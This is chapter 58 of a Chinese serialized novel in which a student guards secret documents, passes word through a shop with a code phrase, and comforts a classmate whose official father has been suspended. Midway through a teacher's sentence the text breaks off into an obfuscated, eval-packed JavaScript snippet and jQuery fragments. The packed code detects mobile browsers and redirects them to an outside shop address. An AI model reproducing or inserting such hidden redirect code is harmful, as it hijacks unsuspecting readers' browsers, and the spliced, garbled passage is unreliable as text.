57.第五十八章 资料交接
作品:《青石往事》 雪停后的第三天,路面上的积雪化了大半,露出湿漉漉的青石板。屋檐下挂着的冰凌开始滴水,嗒、嗒、嗒,节奏单调而清晰,像是时间在缓慢流逝。
张静轩将史密斯先生给的资料用油纸仔细包好,外面再裹一层蓝布,塞进书包最底层。今天是周五,按照孟继尧上次留下的联系方式,他应该去“福顺昌”商号递个消息,约定见面时间。
上午最后一节是历史课。陈焕之老师今天讲到清末新政,语气里带着惯常的感慨:“变法图强,其心可嘉,然积弊已深,非一朝一夕可改。”讲台下,学生们或专注或走神。张静轩注意到,林文渊今天坐得笔直,眼睛盯着黑板,但眼神空洞,显然心神不宁。
下课铃响,陈焕之合上教案,忽然说:“同学们,历史不只是书本上的文字,更是镜子——照见过去,也照见当下。望诸位读书时,常怀思辨之心。”
这话说得含蓄,但张静轩听出了弦外之音。他看向陈焕之,这位总是一丝不苟的老先生正低头整理讲义,侧脸在窗外雪光的映照下,显得格外清瘦。
“静轩,走啊。”周世昌拍他肩膀,“吃饭去,晚了红烧肉该没了。”
食堂里人声嘈杂。四人找了张靠窗的桌子坐下,廖志刚照例吃得很快,李望之细嚼慢咽,周世昌一边吃一边说着从父亲那里听来的消息:“……听说警察厅又要查一批商行,这回好像跟进出口有关。”
张静轩心头一动:“进出口?”
“嗯。”周世昌压低声音,“我爹说,有些商行名义上做正经买卖,暗地里夹带私货。前阵子王敬堂的案子,牵扯出几条线,现在顺着线往下查呢。”
“你那位陈叔叔的公司……”李望之推了推眼镜,“会不会受影响?”
周世昌筷子顿了顿:“难说。做进出口的,哪个没点擦边球?就看查得严不严了。”他看向张静轩,“对了静轩,陈叔叔后来找过你吗?”
“没有。”张静轩摇头,“就那天喝了个茶。”
“哦。”周世昌似乎松了口气,“没找就好。我爹说,最近少跟生意场上的人来往,免得惹麻烦。”
正说着,林文渊端着餐盘走过来,脸色有些苍白:“这儿有人吗?”
“没有,坐。”周世昌往里挪了挪。
林文渊默默坐下,低头吃饭。气氛忽然有些尴尬。周世昌想说什么,张了张嘴,又闭上了。
“林同学,”李望之轻声问,“你脸色不太好,是不是不舒服?”
林文渊摇摇头:“没事,昨晚没睡好。”
一顿饭在沉默中吃完。离开食堂时,林文渊走在最后,张静轩故意放慢脚步,与他并肩。
“林同学,”张静轩轻声说,“如果有什么需要帮忙的……”
林文渊看了他一眼,眼神复杂,最终摇摇头:“谢谢,我没事。”说完快步走了。
下午没课。张静轩换上便服,背上书包,出了校门。
福顺昌商号在城南,门脸不大,黑漆招牌,门口挂着两个褪色的红灯笼。推门进去,店里很安静,柜台后坐着个五十来岁的老掌柜,戴着老花镜,正在拨算盘。
“客官需要什么?”老掌柜抬起头。
“我想打听一下,”张静轩按照孟继尧教的暗语,“有没有‘南山’产的茶叶?”
老掌柜眼神动了动,放下算盘:“‘南山茶’今年收成不好,倒是有‘北山’的新茶,客官要不要看看?”
暗语对上。老掌柜站起身:“里面请。”
张静轩跟着他走进后堂。后堂更小,只摆着一张方桌、两把椅子。老掌柜关上门,神色严肃起来:“小兄弟是孟科长的人?”
“他让我来递个消息。”
“什么消息?”
“有些东西,需要当面交给他。”
老掌柜沉吟片刻:“孟科长最近不在省城,去了邻县办差。最早也要后天才能回来。”他看了看张静轩,“东西要紧吗?”
“要紧。”
“那你后天下午再来。”老掌柜说,“还是这个时辰。如果孟科长回来了,我安排你们见面。如果没回来,你再等消息。”
“好。”
从福顺昌出来,张静轩没有直接回学校。他绕道去了城西的院子——虽然孟继尧让他少去,但有些思绪,需要在安静的地方整理。
院子里那棵银杏树叶子早落光了,枝桠在灰白的天空下伸展,像一幅疏淡的水墨画。张静轩打开屋门,生起炭盆,等屋里暖和了,才在书桌前坐下。
他拿出那本空白笔记,翻到最新一页,提笔记录:
“十一月十一,晴。上午历史课,陈老师言‘历史是镜子’,似有深意。林文渊心神不宁,其父被传唤之事或已影响。午间周世昌言警察厅将查进出口商行,陈庆松公司恐在列。下午至福顺昌递信,孟科长后日方归。资料需妥善保管。”
写完,他合上笔记,从书包里取出那包资料。油纸包在手中沉甸甸的,里面的内容,可能关系到很多人的命运。
窗外的天色渐渐暗了。炭盆里的火发出噼啪轻响,橙红的火光在墙壁上跳动。张静轩看着那火光,想起青石镇的冬天,一家人围炉夜话的情景。爹会讲些年轻时的见闻,娘会做宵夜,大哥偶尔会说说前线的事——总是轻描淡写,但那些字句背后,是生死一线的战场。
那时候他还小,不懂那些话的分量。如今懂了,却再也回不到那样的夜晚。
门口忽然传来三长两短的敲门声。
张静轩警觉地站起身,走到门边:“谁?”
“是我,方励。”
开门,方励站在门外,肩上沾着暮色,手里提着一个食盒。
“方老师,您怎么……”
“蔡老师做了些饺子,让我给你送点。”方励走进屋,把食盒放在桌上,“她说你一个人在省城,食堂饭菜油水少,得补补。”
食盒里是还温热的饺子,白白胖胖,散发着面香和肉香。张静轩心头一暖:“谢谢蔡老师。”
“趁热吃。”方励在对面坐下,看了看桌上的油纸包,“这就是史密斯给的东西?”
“是。”
方励没有要求看,只是说:“孟科长回来了吗?”
“还没,后天才能回。”
“嗯。”方励点点头,“那就先收好。这两天警厅那边动作大,你进出小心些。”
张静轩吃了几个饺子,果然美味。蔡老师手艺很好,饺子皮薄馅大,汤汁饱满。
“方老师,”他问,“陈焕之老师今天课上说的话,您觉得是什么意思?”
“陈老师?”方励沉吟,“他说什么了?”
“他说历史是镜子,照见过去也照见当下,要我们常怀思辨之心。”
方励笑了笑:“这话很陈老师。他一向认为,学史不是为了死记硬背,是为了明白事理。”他顿了顿,“不过这个时候说这个……可能确实有提醒的意思。”
“提醒?”
“王敬堂的案子,牵扯出不少旧事。”方励缓缓道,“有些事,十年前就在发生,只是没人注意,或者注意到了,也无力改变。如今翻出来,像是历史的回响。”
他看向张静轩:“怀谨当年查的那些,也不是一天形成的。那些网络,那些人,像藤蔓一样,早就缠在了这棵大树上。现在要清理,就得一根根扯,还不能伤到树干。”
这个比喻很形象。张静轩点点头:“我明白了。”
“还有林文渊,”方励说,“我听说他父亲昨天回家了,但情绪很差。林文渊今天没来上课?”
“来了,但状态不好。”
“嗯。”方励叹了口气,“大人做的事,往往要孩子来承担后果。但这不是孩子的错。”他站起身,“你吃完早点回学
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17324878|196314||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
校,夜里路滑。”
送走方励,张静轩把剩下的饺子吃完,仔细收好食盒。炭盆里的火渐渐弱了,屋里温度开始下降。他收拾好东西,锁好门,离开院子。
回学校的路上,天色已经完全黑了。街灯亮起来,昏黄的光在湿漉漉的石板路上投下长长的影子。偶尔有马车经过,轱辘声在寂静的街道上回荡。
快到校门口时,他看见一个人影站在路灯下——是林文渊。
林文渊也看见了他,似乎想转身走,但又停住了。
张静轩走过去:“林同学,这么晚了,怎么不进去?”
林文渊低着头,声音很轻:“我……我父亲今天下午被停职了。”
张静轩心头一震。停职,比传唤严重得多。
“因为什么?”
“不知道。”林文渊摇摇头,声音有些哽咽,“他们只说‘配合调查’,就让我父亲回家了。我问他,他不说,只是抽烟,一根接一根。”
路灯下,林文渊的眼圈红着。这个平时总是彬彬有礼、成绩优异的少年,此刻显得脆弱而无助。
“我母亲一直在哭,”他继续说,“说早知道就不该跟王敬堂走那么近。可是……可是我父亲也是身不由己啊。在那个位置上,有些应酬,有些人情,推不掉的。”
张静轩沉默。他能理解林文渊的痛苦,却不知如何安慰。
“张同学,”林文渊抬起头,眼神里有种决绝,“我知道你家在青石镇办学堂,知道你见过孟继尧科长。你能不能……帮我问问,我父亲到底犯了什么事?如果真的有问题,我们认。如果没有,能不能给他一个清白?”
这个问题让张静轩为难。他不能暴露自己和孟继尧的关系,也不能随意打听案件。
“林同学,”他斟酌着措辞,“这些事情,有专门的程序。我相信,如果令尊没有问题,调查清楚后,自然会还他清白。”
林文渊看着他,眼神渐渐黯淡:“你不愿意帮忙,是吗?”
“不是不愿意,是不能。”张静轩诚恳地说,“这些事,不是我们能插手的。”
林文渊低下头,良久,苦笑一声:“你说得对。”他转身往校门走,走了几步,又停住,没有回头,“张静轩,谢谢你。至少,你没有敷衍我。”
看着他的背影消失在门内,张静轩站在原地,心里沉甸甸的。
雪后的夜晚很冷,风吹在脸上,像细小的刀片。他抬头看了看天空——云层很厚,看不见星星。
这个冬天,对很多人来说,都格外漫长。
回到宿舍,周世昌和李望之正在下棋,廖志刚在补衣服。见张静轩回来,周世昌抬头问:“静轩,吃晚饭了吗?”
“吃了。”
“哦。”周世昌又低头看棋盘,“将!李望之,你这步走错了。”
张静轩洗漱完,躺到床上。宿舍里的灯光温暖,棋子的敲击声、翻书声、缝补的针线声,交织成寻常夜晚的声响。但在这寻常之下,暗流仍在涌动。
他闭上眼睛,却睡不着。
林文渊那双泛红的眼睛,总在眼前浮现。
还有陈庆松试探的笑容,史密斯先生郑重的托付,方励夫妇无声的关照,孟继尧肩上的枪伤,秦先生笔记里清峻的字迹……
窗外的风大了,吹得窗棂轻微作响。
张静轩翻了个身,面向墙壁。
后天。后天见到孟继尧,把资料交出去。
然后,继续读书,继续观察,继续等待。
如此想着,他渐渐沉入睡眠。
梦里,是青石镇的春天。学堂院子里的老槐树发了新芽,绿茸茸的。秦先生坐在树下,笑着向他招手。
“静轩,来,我教你读新诗——”
“什么诗?”
“等闲识得东风面,”秦先生的声音温和而清晰,“万紫千红总是春。”

